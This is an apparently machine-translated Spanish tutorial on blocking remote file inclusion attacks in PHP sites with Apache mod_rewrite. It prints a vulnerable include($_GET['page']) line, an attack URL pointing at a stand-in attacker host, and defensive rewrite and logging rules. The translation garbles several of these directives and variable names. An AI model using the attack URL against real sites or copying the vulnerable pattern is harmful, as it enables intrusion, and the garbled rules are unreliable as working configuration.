..


Enlaces patrocinados

Utilizando mod_rewrite para evitar la inclusión de archivos remotos

Artículo escrito por Claudio Garau

Uno de los ataques más frecuentes que sufren los sitios web se realiza mediante el intento de incluir los archivos que contienen código malicioso, teóricamente hablando de un ataque es muy sencillo de realizar, para ello sólo porque un archivo que contiene el código malicioso y una URL del tipo navegador.

Este tipo de ataque, conocido con el término técnico para la inclusión de archivos remotos o con las siglas simple para RFI, se asocia a menudo con un modo llamado intrusión XSA (Cross-Server ataque) generalmente se hace para poner en peligro la seguridad de los sitios Web si no el servidor Web, un factor que hace que sea aún más peligroso para RFI.

Para iniciar un ataque de RFI, un atacante necesita una "memoria" dentro de una aplicación que permite que sean de su inclusión de forma remota, este "espacio" es generalmente un "agujero" (bug) de seguridad que hace que sea un script vulnerable.
El caso clásico de una fuga sensible a la solicitud de información se relaciona con pasar la página a través de los nombres de variable, sólo un simple trozo de código como este para poner en peligro una aplicación:

 



 # Incluye archivos a través de variables de cadena de consulta pasa a través de







 include ($ _GET ['page']);

 
En el código que tenemos una variable no definida, o más bien a ser definido de acuerdo a los parámetros enviados a través de la cadena de consulta, por ejemplo, si la dirección URL directa a la página con el listado propuesto sería el siguiente:
 



 http://www.sito.com/index.php?pagina=news.php

 
el valor de la variable $ página es igual a "Noticias" un ataque a esta aplicación se pueden ejecutar de esta manera:
 



 http://www.sito.com/index.php?pagina=http://www.attacco.com/x.php

 
El archivo "x.php", en el caso de un ataque exitoso, puede contener cualquier tipo de código malicioso y causa mucho más daño sustancial y definitiva que la simplicidad de los ataques se pueden hacer pensar.

Afortunadamente, hay algunas técnicas de defensa que se puede utilizar para evitar esos ataques, en este breve análisis vamos a analizar uno basado en el módulo de reescritura de URL (mod_rewrite) proporcionada por el servidor Web Apache, que puede ser utilizada por los métodos diferente.

Uno de los más clásicos a enviar instrucciones a un servidor Web Apache es el uso de un archivo clásico. Htaccess que se incluye en la carpeta que desea proteger de los ataques.

El primer método que utilizamos es para insertar una regla simple en a. htaccess:






 RewriteCond% {QUERY_STRING} (.*)( http | https | ftp): \ / \ /(.*)







 ^(.+)$ RewriteRule - [F]



La norma establece que formuló en una cadena de consulta ("{QUERY_STRING}") no se pueden pasar argumentos que contengan los sufijos "http", "https" y "ftp", no importa lo que el contenido de la anterior o siguiente ("(.*)" ) parámetros. Si esto ocurre, el servidor web devolverá un error de tipo 403 (prohibido).

Aquellos que tienen la posibilidad de acceso directo al archivo de configuración de Apache (httpd.conf), que puede ser insertado dentro de un único contenedor que contiene una directiva puede tener un efecto comparable al de las normas establecidas prededentemente:






 # Verifique que mod_rewrite está disponible







 <IfModule Mod_rewrite.c>







 # Activar el motor de reescritura de direcciones URL

 





 RewriteEngine on

 





 # Fijamos nuestra regla contra RFI







 RewriteCond% {QUERY_STRING} (.*)( http | https | ftp): \ / \ /(.*)







 # Filtrar las posibles solicitudes de inclusión y marcar







 # Vraibile con el medio ambiente [E = varname: valor]







 ^(.+)$ RewriteRule - [F, E = RFI: true]

 





 </ IfModule>

 





 # Creaimo un registro de los intentos de RFI que identficato







 # Anteriormente utilizando una "variable de entorno"







 CustomLog / nombreDeCarpeta / rfi.log combinado env = rfi



Después de escribir la directiva en el fichero de configuración, debe guardar los cambios y reiniciar el servidor Web que tenga efecto, tenga en cuenta que al final de la lista, y fuera de los contenedores se ha introducido la solicitud para la creación de un archivo de registro destina a registrar las solicitudes de inclusión de archivos remotos, el control de este pequeño ", señala el bloqueo de ataques de RFI," vamos a descubrir que los intentos de inclusión de archivos remotos a nuestros sitios Web son menos comunes que cree.

En la misma categoría ...
E-Learning
Linux (Curso) Linux (Curso)
Guía completa de código abierto del sistema. A partir de 49 €.
MySQL (Curso) MySQL (Curso)
Gestión de base de datos de código abierto. A partir de 39 €.
PHP (Curso) PHP (Curso)
Ciclo completo para la creación de sitios Web dinámicos. A partir de 49 €.
Enlaces patrocinados